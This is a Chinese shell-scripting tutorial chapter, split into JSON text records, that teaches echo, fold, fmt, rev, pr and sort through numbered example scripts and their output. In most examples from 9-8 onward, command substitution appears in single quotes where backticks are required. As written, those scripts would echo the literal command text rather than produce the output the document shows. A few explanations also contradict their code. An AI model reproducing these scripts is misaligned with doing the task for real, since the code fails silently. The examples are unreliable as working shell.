    {"text": "之所以使用了-n选项，主要是禁止echo语句执行完成之后附加换行符，从而使得光标可以停留在提示信息后面，如图9-1所示。 图9-1 使用-n选项禁止附加换行符 该程序的执行结果如下： [root@linux chapter9]# ./ex9-1.sh What is your first name? Chunxiao What is your last name? Zhang What is your middle name? What is your birthday? 1973-07-19 在使用echo命令输出文本时，如果要输出的文本是由多个单词组成的，用户可以使用双引号或者单引号将其引起来。 当然，如果不使用引号引起来的话，在绝大部分情况下，也不会影响输出的结果，只是此时echo命令将一个字符串根据空格分割成多个字符串输出了。 例如下面两条命令的执行结果并没有不同之处： [root@linux chapter9]# echo \"Hello world.\" Hello world. [root@linux chapter9]# echo Hello world Hello world 9.1.2 显示转义字符 除了支持普通文本的输出之外，echo命令还支持简单的转义字符的输出。 通过转义字符，echo命令可以控制输出的格式，或者是输出某些特殊的字符，例如退格符、换页符，以及制表符等。 表9-1列出了echo命令支持的转义字符。 如果要使echo命令支持转义字符，还必须使用-e选项。 表9-1 echo命令的转义字符 字 符 说 明 \\a 报警符，相当于ASCII码的BEL字符 \\b 退格符 \\c 禁止继续输出文本 \\f 换页符 \\n 换行符 \\r 回车符 \\t 水平制表符 \\v 垂直制表符 \\\\ 反斜线 在表9-1列出的转义字符中，\\c字符使echo停止继续输出该字符后面的文本，包括最后的换行符。 【 例9-2 】演示各种转义字符的使用方法，代码如下： 01 #-----------------------------/chapter9/ex9-2.sh------------------ 02 #! /bin/bash 03 04 # 退格符 05 echo -e \"this is a\\b string.\" 06 # 禁止继续输出后面的文本 07 echo -e \"hello \\c world.\" 08 # 换行符 09 echo -e \"hello \\n world.\" 10 # 使用制表符输出表格 11 echo -e \"Alice\\t99\" 12 echo -e \"John\\t82\" 13 echo -e \"Tom\\t91\" 在上面的代码中，第5行使用了退格符，该字符会使光标从当前位置向左后退一个字符，然后继续输出文本。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-2.sh 01 this is string. 02 hello hello 03 world. 04 Alice 99 05 John 82 06 Tom 91 在上面的输出结果中，第1行代码中的字符a消失了，这是因为使用了退格符，从而导致字符a被后面的空格覆盖。"},
    {"text": "9.1.3 显示变量 用户可以使用echo语句将程序中的变量的值打印出来，在前面的许多例子中，都使用echo语句来输出某些信息。 【 例9-3 】演示使用echo语句显示变量的方法，代码如下： 01 #-----------------------------/chapter9/ex9-3.sh------------------ 02 #! /bin/bash 03 04 echo -n \"Please input a name:\" 05 06 read name 07 #输出变量的值 08 echo \"Hello, $name\" 09 10 v1=\"sing\" 11 v2=\"danc\" 12 #错误的输出变量值的方法 13 echo \"We are $v1ing, we are $v2ing.\" 在上面的代码中，第4行输出一行提示信息，第6行使用read语句读取用户输入信息，第8行将变量name的值输出。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-3.sh Please input a name:Chunxiao Hello, Chunxiao We are , we are . 在上面的执行结果中，可以发现用户输入的文本已经被正常输出。"},
    {"text": "为了使Shell能够正确地解析变量名，用户需要使用花括号将变量名括起来。 【 例9-4 】使用花括号界定变量名，代码如下： 01 #-----------------------------/chapter9/ex9-4.sh------------------ 02 #! /bin/bash 03 04 echo -n \"Please input a name:\" 05 06 read name 07 08 echo \"Hello, $name\" 09 10 v1=\"sing\" 11 v2=\"danc\" 12 13 echo \"We are ${v1}ing, we are ${v2}ing.\" 在上面的代码中，第13行使用花括号将变量名v1和v2分别括起来，括号里面的就是变量名。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-4.sh Please input a name:Chunxiao Hello, Chunxiao We are singing, we are dancing. 可以发现，这次得到了正确的结果。"},
    {"text": "9.1.4 换行和不换行 在默认情况下，echo命令在输出文本的末尾会自动追加一个换行符，下面的例子就说明了这种情况。 【 例9-5 】演示echo命令会自动追加换行符，代码如下： 01 #-----------------------------/chapter9/ex9-5.sh------------------ 02 #! /bin/bash 03 04 echo \"You are always in control of your search settings.\" 05 echo \" Here's a quick review of the options that you can set.\" 在上面的代码中，第4～5行分别输出一行文本。 尽管没有使用换行符，但是，echo语句会自动追加一个换行符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-5.sh You are always in control of your search settings. Here's a quick review of the options that you can set. 为了能够避免echo语句自动换行，用户可以使用两种方法来解决：首先，用户可以使用echo命令的-n选项，其次，用户还可以使用转义字符\\c。"},
    {"text": "【 例9-6 】演示使用-n选项来使多条echo语句输出到同一行中，代码如下： 01 #-----------------------------/chapter9/ex9-6.sh------------------ 02 #! /bin/bash 03 04 # 使用 -n 选项输出文本 05 echo -n \"You are always in control of your search settings.\" 06 echo \" Here's a quick review of the options that you can set.\" 该程序的执行结果如下所示。 [root@linux chapter9]# ./ex9-6.sh You are always in control of your search settings. Here's a quick review of the options that you can set. 从上面的输出结果可以得知，使用-n选项之后，第5行的echo语句在结尾并没有输出换行符，所以第6行的echo语句会紧接着在同一行继续输出。"},
    {"text": "【 例9-7 】演示如何使用\\c来避免换行，代码如下： 01 #-----------------------------/chapter9/ex9-7.sh------------------ 02 #! /bin/bash 03 04 # 使用转义字符避免换行 05 echo -e \"You are always in control of your search settings.\\c\" 06 echo \" Here's a quick review of the options that you can set.\" 在第5行中，为了使得echo命令支持转义字符，需要使用-e选项。"},
    {"text": "[root@linux chapter9]# ./ex9-7.sh You are always in control of your search settings. Here's a quick review of the options that you can set. 9.1.5 显示命令执行结果 除了显示文本之外，echo命令还可以将Shell命令执行结果显示出来。 不过，在显示命令执行结果的时候，需要使用反引号将命令引用起来，其语法如下： echo 'command' 【 例9-8 】演示如何使用echo命令显示命令的执行结果，代码如下： 01 #-----------------------------/chapter9/ex9-8.sh------------------ 02 #! /bin/bash 03 04 # 显示 date 命令的执行结果 05 echo 'date' 06 # 显示 ls 命令的执行结果 07 echo 'ls' 该程序的执行结果如下： [root@linux chapter9]# ./ex9-8.sh Fri Feb 22 23:31:58 HKT 2013 ex9-1.sh ex9-2.sh ex9-3.sh ex9-5.sh ex9-6.sh ex9-7.sh ex9-8.sh 9.1.6 echo命令执行结果的重定向 关于重定向的详细介绍，请参考本书的第12章。"},
    {"text": "将echo命令的执行结果重定向的语法比较简单，直接将重定向操作符放在echo语句的结尾，然后再指定一个文件名即可。 【 例9-9 】演示将echo命令执行结果重定向的方法，代码如下： 01 #-----------------------------/chapter9/ex9-9.sh------------------ 02 #! /bin/bash 03 04 # 将要输出的信息写入文件 05 echo \"Hello, world.\" > hello.txt 06 # 将输出的信息追加到文件的结尾 07 echo \"Hello, Chunxiao.\" >> hello.txt 在上面的代码中，第5行语句是将字符串Hello, world.写入hello.txt文件，并且会覆盖原有文件的内容，如果hello.txt文件已经存在的话。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-9.sh [root@linux chapter9]# more hello.txt Hello, world. Hello, Chunxiao. 从上面的执行结果可以得知，第5行和第7行语句中的字符串已经被写入hello.txt文件中，并且第7行的echo语句并没有覆盖原来的内容。"},
    {"text": "9.2 文本的格式化输出 尽管echo命令语句提供了最基本的输出功能，但是在某些场合，用户可能需要对文本的输出格式进行更加细致地控制。 在Shell程序中，文本的格式化输出主要有制表符、pr命令，以及fmt命令等。"},
    {"text": "对于输出某些简单的表格，例如名单及简单列表使用制表符是非常方便快捷的。 尤其是在字符界面下输出表格，使用制表符可以达到事半功倍的效果。"},
    {"text": "【 例9-10 】演示使用echo命令结合制表符来输出九九乘法表，代码如下： 01 #-----------------------------/chapter9/ex9-10.sh------------------ 02 #! /bin/bash 03 04 #双层嵌套循环输出乘法表 05 for((i=1;i<10;i++)) 06 do 07 for((j=1;j<=$i;j++)) 08 do 09 #使用制表符对齐列 10 echo -n -e \"$i*$j\\t\" 11 done 12 #换行 13 echo \"\" 14 done 关于for循环语句的使用方法，前面已经详细介绍过了。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-10.sh 1*1 2*1 2*2 3*1 3*2 3*3 4*1 4*2 4*3 4*4 5*1 5*2 5*3 5*4 5*5 6*1 6*2 6*3 6*4 6*5 6*6 7*1 7*2 7*3 7*4 7*5 7*6 7*7 8*1 8*2 8*3 8*4 8*5 8*6 8*7 8*8 9*1 9*2 9*3 9*4 9*5 9*6 9*7 9*8 9*9 注意： 在不同的场合，制表符的大小可能会有所不同。"},
    {"text": "9.2.2 使用fold命令格式化行 顾名思义，fold命令的功能是将超过指定宽度的文本行进行折叠处理，使得超过指定宽度的字符转到下一行输出。 fold命令的基本语法如下： fold [options] [file…] 在上面的语法中，options表示选项，fold命令常用的选项有如下所列。"},
    {"text": "[root@linux chapter9]# cat demo1.txt You are always in control of your search settings. Here's a quick review of the options that you can set (and change whenever you like) on the search settings page. You can reach that page by clicking the gear icon in the top right corner of the search results page, then clicking Search settings. You can also visit the page directly at google.com/preferences. The options are grouped into three categories: Search results, Languages, and Location. Click the three links on the left side of the page to change categories. 然后使用fold命令来格式化输出该文件的内容，命令如下： [root@linux chapter9]# fold -w 90 demo1.txt 以上命令的执行结果如图9-2所示。"},
    {"text": "也就是说，当fold命令输出到指定列数之后，发现输出的一个单词还没有输出完，此时，fold命令会在当前行继续输出完还没有输出完的单词，然后到下一行继续输出。"},
    {"text": "【 例9-12 】通过-s选项使文本行在换行时保留单词的完整，同样指定文本行的宽度为90列，命令如下： [root@linux chapter9]# fold -s -w 90 demo1.txt 以上命令的执行结果如图9-3所示。"},
    {"text": "如果想要将格式化的结果保存下来，可以使用重定向操作符将输出重定向到磁盘文件。 【 例9-13 】通过重定向将fold命令的输出结果保存到文件，命令如下： [root@linux chapter9]# fold -w 90 demo1.txt > formtedtext.txt 上面的命令将格式化的结果保存到formtedtext.txt文件中。"},
    {"text": "当命令执行完成之后，用户可以使用cat或者more等命令来查看文件的内容，命令如下： [root@linux chapter9]# cat formtedtext.txt 以上命令的执行结果如图9-4所示。"},
    {"text": "9.2.3 使用fmt命令格式化段落 与fold命令相比，fmt命令提供了更多的功能。 fmt命令是Shell中的一个简单的文本格式化工具，其名称来自于格式化（format）的缩写。 fmt命令的基本语法如下： fmt [-width] [option]... [file]... 其中，-width选项用来指定文本行的列数，默认为75列，即每行显示75个字符。"},
    {"text": "-c：保留每个段落的前两行的缩进，该段落剩余的行的左边距与第2行相同。 -t：该选的功能与-c选项基本相同，但是在使用-t选项时，每个段落的第1行和第2行的缩进必须是不相同的，否则第1行将被看做一个单独的段落。"},
    {"text": "为了演示fmt命令的使用方法，用户需要首先创建一个文本文件，其内容如下： [root@linux chapter9]# cat demo2.txt Linux is a UNIX-like computer operating system assembled under the model of free and open source software development and distribution. The defining component of Linux is the Linux kernel, an operating system kernel first released 5 October 1991 by Linus Torvalds.[11][12] Linux was originally developed as a free operating system for Intel x86-based personal computers. It has since been ported to more computer hardware platforms than any other operating system. It is a leading operating system on servers and other big iron systems such as mainframe computers and supercomputers:[13][14][15][16] more than 90% of today's 500 fastest supercomputers run some variant of Linux,[17] including the 10 fastest.[18] Linux also runs on embedded systems (devices where the operating system is typically built into the firmware and highly tailored to the system) such as mobile phones, tablet computers, network routers, televisions[19][20] and video game consoles; the Android system in wide use on mobile devices is built on the Linux kernel. The development of Linux is one of the most prominent examples of free and open source software collaboration: the underlying source code may be used, modified, and distributed commercially or non-commercially by anyone under licenses such as the GNU General Public License. Typically Linux is packaged in a format known as a Linux distribution for desktop and server use. Some popular mainstream Linux distributions include Debian (and its derivatives such as Ubuntu and Linux Mint), Fedora (and its derivatives such as Red Hat Enterprise Linux and CentOS), Mandriva/Mageia, OpenSUSE, and Arch Linux. Linux distributions include the Linux kernel, supporting utilities and libraries and usually a large amount of application software to fulfill the distribution's intended use. 【 例9-14 】演示使用-w选项来指定行的最大长度为80列，代码如下： 01 #-----------------------------/chapter9/ex9-13.sh------------------ 02 #! /bin/bash 03 04 # 指定行长度 05 str='fmt -c -w 80 demo2.txt' 06 echo \"$str\" 在上面的代码中，第5行使用-c选项来指定文本行的最大长度为80列。"},
    {"text": "从图9-5可以得知，使用-w选项指定了文本行的最大长度为80列之后，fmt命令输出文本超过80个字符便会自动换行。 如果达到80个字符时fmt命令发现没有显示完的单词，便将该单词移至下一行显示。"},
    {"text": "如果不想fmt命令将不足指定行长度的行合并，则可以使用-s选项。 【 例9-15 】本例对【例9-14】进行改进，加上-s选项，以避免合并行，代码如下： 01 #-----------------------------/chapter9/ex9-14.sh------------------ 02 #! /bin/bash 03 04 # 不合并不足指定行宽的行 05 str='fmt -s -c -w 80 demo2.txt' 06 echo \"$str\" 以上代码的执行结果如图9-6所示。"},
    {"text": "图9-5 指定行宽和缩进 图9-6 不合并不足指定行宽的行 对比图9-5和图9-6，可以发现，在图9-6中，The defining component…、It has since…，以及Typically Linux is…这3行并没有被合并到上面的一行中。"},
    {"text": "9.2.4 使用rev命令反转字符顺序 rev命令的功能是用来反转文件中的文本行的字符顺序，其名称来自于reverse（反转）的前3个字母。 rev命令的基本语法如下： rev [file ...] 其中，file表示要处理的文件的文件名列表，如果是多个文件，则文件名之间用空格隔开。 假设存在一个名称为demo3.txt的文本文件，其内容如下： [root@linux chapter9]# cat demo3.txt 1 2 3 4 5 6 7 8 9 Hello, world. 【 例9-16 】演示rev命令的使用方法，代码如下： 01 #-----------------------------/chapter9/ex9-15.sh------------------ 02 #! /bin/bash 03 04 # 反转文本行 05 str='rev demo3.txt' 06 echo \"$str\" 该例的执行结果如下： [root@linux chapter9]# ./ex9-15.sh 9 8 7 6 5 4 3 2 1 .dlrow ,olleH 从上面的执行结果可以得知，demo3.txt文件中的2行文本的字符都被逐个反转顺序。"},
    {"text": "pr命令的名称来自于print（打印）的前两个字母，其基本语法如下： pr [option]... [file]... 其中，option表示命令选项，常用的选项如下所列。"},
    {"text": "也就是说，文件的第1行作为第1栏的第1行，第2行作为第2栏的第1行，依此类推。 当所有栏的第1行都输出之后，再重新回到第1栏输出第2行。"},
    {"text": "为了演示pr命令的使用方法，首先准备一个文件，其内容如下： [root@linux chapter9]# cat demo4.txt Niger Mali Afghanistan Burkina Faso Malawi Uganda Zambia Chad DR Congo Somalia Rwanda Mozambique Angola Tanzania Guinea-Bissau East Timor Sierra Leone Equatorial Guinea Benin Guinea Nigeria South Sudan Senegal Liberia Kenya 在上面的文件中，包含一个国家名称的列表。"},
    {"text": "【 例9-17 】演示使用pr命令将该文件的内容进行格式化处理，代码如下： 01 #-----------------------------/chapter9/ex9-16.sh------------------ 02 #! /bin/bash 03 04 # 格式化文本页 05 str='pr -4 demo4.txt' 06 echo \"$str\" 其中，第5行将demo4.txt的内容分成4栏输出。"},
    {"text": "【 例9-18 】演示如何自定义页眉、文本水平分栏，以及使用换页符来代替换行符，代码如下： 01 #-----------------------------/chapter9/ex9-17.sh------------------ 02 #! /bin/bash 03 04 # 自定义页眉 05 str='pr -h \"List of Countries\" -a -f -4 demo4.txt' 06 echo \"$str\" 该例的执行结果如图9-8所示。 图9-7 格式化文本页 图9-8 自定义页眉，水平分栏 除了以上常用选项之外，如果用户不想显示标题，则可以使用-t选项，命令如下： [root@linux chapter9]# pr -t -4 demo4.txt 以上命令的执行结果如图9-9所示。"},
    {"text": "[root@linux chapter9]# pr -h \"List of Countries\" -a -f -4 demo4.txt > countries.txt [root@linux chapter9]# more countries.txt 2013-02-24 10:45 List of Countries Page 1 Niger Mali Afghanistan Burkina Faso Malawi Uganda Zambia Chad DR Congo Somalia Rwanda Mozambique Angola Tanzania Guinea-Bissau East Timor Sierra Leone Equatorial Guinea Benin Guinea Nigeria South Sudan Senegal Liberia Kenya ^L 注意： 与fold和fmt命令不同，pr命令主要是为打印输出设置页面。"},
    {"text": "9.3 使用sort命令对文本排序 在Linux或者UNIX中，许多数据都是以文本文件的形式存在。 因此，用户经常需要对这些文本进行排序，为此，Shell提供了sort命令来完成这个任务。 本节将介绍sort命令的使用方法。 9.3.1 sort命令的基本用法 Shell中的sort命令有3种执行模式，分别为排序文本、检查文件是否已经排序以及合并文件。"},
    {"text": "尽管sort命令的语法相对比较简单，没有非常多的令人眼花缭乱的选项参数，但是， sort命令的功能非常强大，完全可以满足用户对于简单数据的管理。"},
    {"text": "为了学习sort命令的使用方法，用户需要首先准备一个文本文件，其名称为demo5.txt，内容如下： [root@linux chapter9]# cat demo5.txt Toy_Story HK 239 3972 The_Hill KL 63 2972 Star_Wars HK 301 4102 Boys_in_Company_C HK 192 2192 Aliens HK 532 4892 Alien HK 119 1982 A_Few_Good_Men KL 445 5851 上面文件的内容共分4列，第1列为商场名称，第2列为供货区代码，第3列为本季度租金金额，第4列为本年度租金金额。"},
    {"text": "【 例9-19 】演示使用最简单的sort命令对demo5.txt文件进行排序，代码如下： 01 #-----------------------------/chapter9/ex9-18.sh------------------ 02 #! /bin/bash 03 04 # 使用默认选项对文件排序 05 result='sort demo5.txt' 06 # 将输出结果保存到文件 07 echo \"$result\" > sorted_default.txt 08 # 显示排序结果 09 cat sorted_default.txt 该例的执行结果如下： [root@linux chapter9]# ./ex9-18.sh A_Few_Good_Men KL 445 5851 Alien HK 119 1982 Aliens HK 532 4892 Boys_in_Company_C HK 192 2192 Star_Wars HK 301 4102 The_Hill KL 63 2972 Toy_Story HK 239 3972 对比demo5.txt文件的内容，可以发现使用sort命令之后，文件的内容已经处于有序状态了。"},
    {"text": "如果不提供任何关键字，则sort会将整个文本行作为关键字进行排序，其排序规则是首先比较第1列，如果第1列的值相同，则比较第2列，依此类推，直至比较完所有的列。"},
    {"text": "注意： sort命令处理数据是以行为单位进行的，与关系型数据库中的表非常相似。 9.3.2 使用单个关键字排序 前面讲过，如果不指定任何选项，则sort命令会根据整个文本行进行排序，文本行中的所有的列都会参与排序。"},
    {"text": "对于这种情况，用户可以使用-k选项来定义排序关键字，其基本语法如下： -k pos1[,pos2] 其中，pos1表示排序关键字的起始位置，pos2表示排序关键字的结束位置，这两者之间用逗号隔开。"},
    {"text": "在通过关键字排序的时候，sort命令首先会根据关键字中的第1个列排序，如果关键字的第1个列相同，则会根据关键字中的第2个列排序，依此类推。 【 例9-20 】演示使用2个列作为一个关键字来进行排序的方法，代码如下： 01 #-----------------------------/chapter9/ex9-19.sh------------------ 02 #! /bin/bash 03 04 # 通过第 2 列和第 3 列排序 05 result='sort -k 2,3 demo5.txt' 06 07 echo \"$result\" 在上面的代码中，第5行使用-k选项定义了一个关键字，包括第2列和第3列，程序会首先根据第2列进行排序，在第2列相同的情况下，再根据第3列排序。 该例的执行结果如下： [root@linux chapter9]# ./ex9-19.sh Alien HK 119 1982 Boys_in_Company_C HK 192 2192 Toy_Story HK 239 3972 Star_Wars HK 301 4102 Aliens HK 532 4892 A_Few_Good_Men KL 445 5851 The_Hill KL 63 2972 观察上面的排序结果，可以发现第3列中的63比同列中其他各个值都小，但是却排到了最后，这是因为在默认情况下，sort命令会将列的值作为字符串来排序。"},
    {"text": "一般情况下，排序关键字是由起始列和终止列定义的，但是在某些情况下，用户可能会省略终止列，只保留起始列，那么其语法就变成以下形式： -k pos 以上语法也是一种合法的语法，它表示从pos参数指定的列开始，一直到文本行的结尾都是排序关键字。"},
    {"text": "为了能够观察到sort命令排序的过程，新创建一个文本文件，其名称为demo6.txt，内容与demo5.txt基本相同，除了第3列中有两个相同的值之外，如下所示： [root@linux chapter9]# cat demo6.txt Toy_Story HK 239 3972 The_Hill KL 63 2972 Star_Wars HK 301 4102 Boys_in_Company_C HK 239 2192 Aliens HK 532 4892 Alien HK 119 1982 A_Few_Good_Men KL 445 5851 【 例9-21 】演示只指定sort命令排序关键字的起始列的情况，代码如下： 01 #-----------------------------/chapter9/ex9-20.sh------------------ 02 #! /bin/bash 03 04 if [ $1 -gt 4 ] 05 then 06 echo \"column no. could not be greater than 4.\" 07 exit 08 fi 09 10 # 仅指定起始列 11 result='sort -r -k $1 demo6.txt' 12 13 echo \"$result\" 在上面的代码中，第4行判断用户输入的列号是否超过文件中的列的数量。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-20.sh 2 Alien HK 119 1982 Boys_in_Company_C HK 239 2192 Toy_Story HK 239 3972 Star_Wars HK 301 4102 Aliens HK 532 4892 A_Few_Good_Men KL 445 5851 The_Hill KL 63 2972 分析上面的排序结果，可以发现，【例9-21】首先会根据第2列来排序，当第2列相同时，再根据第3列排序，当第3列相同时，再根据第4列排序。"},
    {"text": "如图9-10所示，描述了sort命令的排序过程。 图9-10 sort命令的排序过程 除了只指定起始列之外，还有可能存在其他两种特殊的情况，即起始列的列号大于终止列的列号和起始列的列号等于终止列的列号。"},
    {"text": "[root@linux chapter9]# more demo7.txt 61.152.107.126 - - [24/Feb/2013:05:28:55 +0800] \"\\x80}\\x01\\x03\\x01\" 302 - 61.152.107.126 - - [24/Feb/2013:05:28:55 +0800] \"\\x80}\\x01\\x03\\x01\" 302 - 38.229.1.15 - - [24/Feb/2013:06:40:28 +0800] \"\\x16\\x03\\x01\" 302 - 180.168.208.28 - - [24/Feb/2013:10:10:16 +0800] \"\\x80w\\x01\\x03\\x01\" 302 - 222.186.24.118 - - [24/Feb/2013:10:45:27 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28538 222.186.24.118 - - [24/Feb/2013:10:45:27 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28538 222.186.24.118 - - [24/Feb/2013:13:58:38 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28537 222.186.24.118 - - [24/Feb/2013:13:58:46 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28537 在上面的文件中，第4列是访问日期，其中第14、15个字符为访问时间中的小时，如果用户需要根据这个小时来排序，那么将整个列作为关键字的一部分参与排序就无法实现了。"},
    {"text": "为了处理这种情况，-k选项中的起始列可以指定开始的字符，而终止列可以指定结束字符，其语法如下： -k pos1[.start][,pos2.[end]] 在上面的语法中，pos1同样表示起始列的列号，小数点后面的start表示起始列中开始的字符位置。 pos2同样表示终止列的列号，小数点后面的end表示终止列中结束的字符位置。 也就是说，从pos1列的第start个字符开始，一直到第pos2列的第end个字符结束，都是排序关键字的组成部分。"},
    {"text": "【 例9-22 】演示使用某个列的子串作为关键字的组成部分的方法，代码如下： 01 #-----------------------------/chapter9/ex9-21.sh------------------ 02 #! /bin/bash 03 04 # 根据第 4 列的第 14~15 个字符排序，并输出到文件 05 sort -t ' ' -n -k 4.14,4.15 demo7.txt > sorted_log 06 07 cat sorted_log 在上面的代码中，第5行中的-t选项用来指定列分隔符为空格，关于该选项的使用方法将在后面介绍。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-21.sh 222.186.24.118 - - [25/Feb/2013:01:27:14 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28537 222.186.24.118 - - [25/Feb/2013:01:27:23 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28537 61.152.107.126 - - [24/Feb/2013:05:28:55 +0800] \"\\x80}\\x01\\x03\\x01\" 302 - 61.152.107.126 - - [24/Feb/2013:05:28:55 +0800] \"\\x80}\\x01\\x03\\x01\" 302 - 38.229.1.15 - - [24/Feb/2013:06:40:28 +0800] \"\\x16\\x03\\x01\" 302 - 222.186.24.118 - - [25/Feb/2013:07:40:40 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28538 222.186.24.118 - - [25/Feb/2013:07:40:52 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28537 180.168.208.28 - - [24/Feb/2013:10:10:16 +0800] \"\\x80w\\x01\\x03\\x01\" 302 - 222.186.24.118 - - [24/Feb/2013:10:45:27 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28538 222.186.24.118 - - [24/Feb/2013:10:45:27 +0800] \"GET http://www.baidu.com/ HTTP/1.1\" 200 28538 … 9.3.3 根据指定的列排序 一般情况下，sort命令都是使用几个列组成一个关键字来排序的。"},
    {"text": "如果只想根据某个列中的子串来排序，可以指定起始字符和终止字符，语法如下： -k pos.[start],pos[.end] 【 例9-23 】演示根据用户输入的列号来对文件进行排序的方法，代码如下： 01 #-----------------------------/chapter9/ex9-22.sh------------------ 02 #! /bin/bash 03 04 if [ $1 -gt 4 ] 05 then 06 echo \"column no. could not be greater than 4.\" 07 exit 08 fi 09 10 # 根据指定的列排序 11 result='sort -k $1,$1 demo6.txt' 12 13 echo \"$result\" 在上面的代码中，第11行使用位置变量$1来获取用户输入的列号，并且将该列号作为起始列号和终止列号。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-22.sh 1 A_Few_Good_Men KL 445 5851 Alien HK 119 1982 Aliens HK 532 4892 Boys_in_Company_C HK 239 2192 Star_Wars HK 301 4102 The_Hill KL 63 2972 Toy_Story HK 239 3972 9.3.4 根据关键字降序排序 在前面所有的例子中，都是根据关键字的升序排列。"},
    {"text": "sort命令还提供了-r选项和r修饰符，用来实现根据关键字降序排列。 其中-r选项是作为全局选项使用，其作用对象为sort命令中所有没有附件修饰符的列。"},
    {"text": "【 例9-24 】使用-r选项对文本进行降序排序，代码如下： 01 #-----------------------------/chapter9/ex9-23.sh------------------ 02 #! /bin/bash 03 04 # 使用 -r 选项降序排序 05 result='sort -r -k 2,3 demo5.txt' 06 07 echo \"$result\" 在上面的代码中，-r选项将作用于第2列和第3列。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-23.sh The_Hill KL 63 2972 A_Few_Good_Men KL 445 5851 Aliens HK 532 4892 Star_Wars HK 301 4102 Toy_Story HK 239 3972 Boys_in_Company_C HK 192 2192 Alien HK 119 1982 从上面的例子可以得知，使用-r选项会同时作用于所有的关键字。"},
    {"text": "【 例9-25 】演示如何使用修饰符实现【例9-24】的降序操作，代码如下： 01 #-----------------------------/chapter9/ex9-24.sh------------------ 02 #! /bin/bash 03 04 # 使用修饰符实现降序 05 result='sort -k 2,3r demo5.txt' 06 07 echo \"$result\" 上面代码中的第5行的排序语句与下面两条语句是等价的： result='sort -k 2r,3 demo5.txt' result='sort -k 2r,3r demo5.txt' 也就是说，修饰符可以附加在起始列后面，也可以附加在终止列后面，或者附加在两者后面都可以。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-24.sh The_Hill KL 63 2972 A_Few_Good_Men KL 445 5851 Aliens HK 532 4892 Star_Wars HK 301 4102 Toy_Story HK 239 3972 Boys_in_Company_C HK 192 2192 Alien HK 119 1982 分析上面的排序结果，可以发现与【例9-24】是完全相同的。"},
    {"text": "【 例9-26 】使用-n选项对demo5.txt的第3列进行排序，代码如下： 01 #-----------------------------/chapter9/ex9-25.sh------------------ 02 #! /bin/bash 03 04 # 对第 3 列按数值排序 05 result='sort -n -k 3,3 demo5.txt' 06 07 echo \"$result\" 在上面的代码中，第5行的排序关键字为-k 3,3，表示对第3列排序，同时使用-n选项，该全局选项会对前面的关键字产生影响。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-25.sh The_Hill KL 63 2972 Alien HK 119 1982 Boys_in_Company_C HK 192 2192 Toy_Story HK 239 3972 Star_Wars HK 301 4102 A_Few_Good_Men KL 445 5851 Aliens HK 532 4892 从上面的执行结果可以得知，通过使用-n选项之后，sort命令已经将第3列作为数值来排序，其中，数值63排到了最前面。"},
    {"text": "如果使用修饰符n，则可以将【例9-26】的第5行进行以下修改： result='sort -k 3,3n demo5.txt' 也就是将其中的-n选项去掉，在关键字后面附加修饰符n。"},
    {"text": "修饰符可以同时使用多个，如果想要根据第3列的数值降序排序，可以将【例9-26】第5行修改为以下代码： result='sort -k 3,3nr demo5.txt' 在上面的代码中，同时使用了修饰符n和r，前者表示按照数值排序，后面表示根据当前关键字降序排序。 对于初学者来说，非常容易将【例9-26】中的关键字写成以下形式： result='sort -k 3n demo5.txt' 以为上面的语句就是根据第3列的数值升序排序，而实际上这条语句是错误的。 前面已经讲过，如果用户只提供了起始列的列号，那么sort将从起始列开始一直到文本行的结尾作为一个关键字来排序。"},
    {"text": "例如，在UNIX或者Linux中，/etc/passwd文件就是以冒号分隔各个列的，如下所示。 [root@linux chapter9]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin … 从上面的内容可以得知，/etc/passwd文件的每个行都是由7列组成，列与列之间通过冒号隔开。 其中第1列是用户的登录名，第2列是密码位，第3列是用户ID，第4列是用户的主组ID，第5列是备注，第6列是用户的主目录，第7列是用户默认的Shell程序。"},
    {"text": "【 例9-27 】演示自定义列分隔符的方法，代码如下： 01 #-----------------------------/chapter9/ex9-26.sh------------------ 02 #! /bin/bash 03 04 # 自定义分隔符 05 result='sort -t : -k3n,3 /etc/passwd' 06 07 echo \"$result\" 在上面的代码中，第5行使用-t选项指定分隔符为冒号，同时使用-k选项指定排序关键字为3n,3，表示根据第3列排序，并且将第3列作为数值处理。"},
    {"text": "该程序的执行结果如下： [root@linux chapter9]# ./ex9-26.sh root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin … 注意： 用户可以使用-t\"\"指定空格作为分隔符。"},
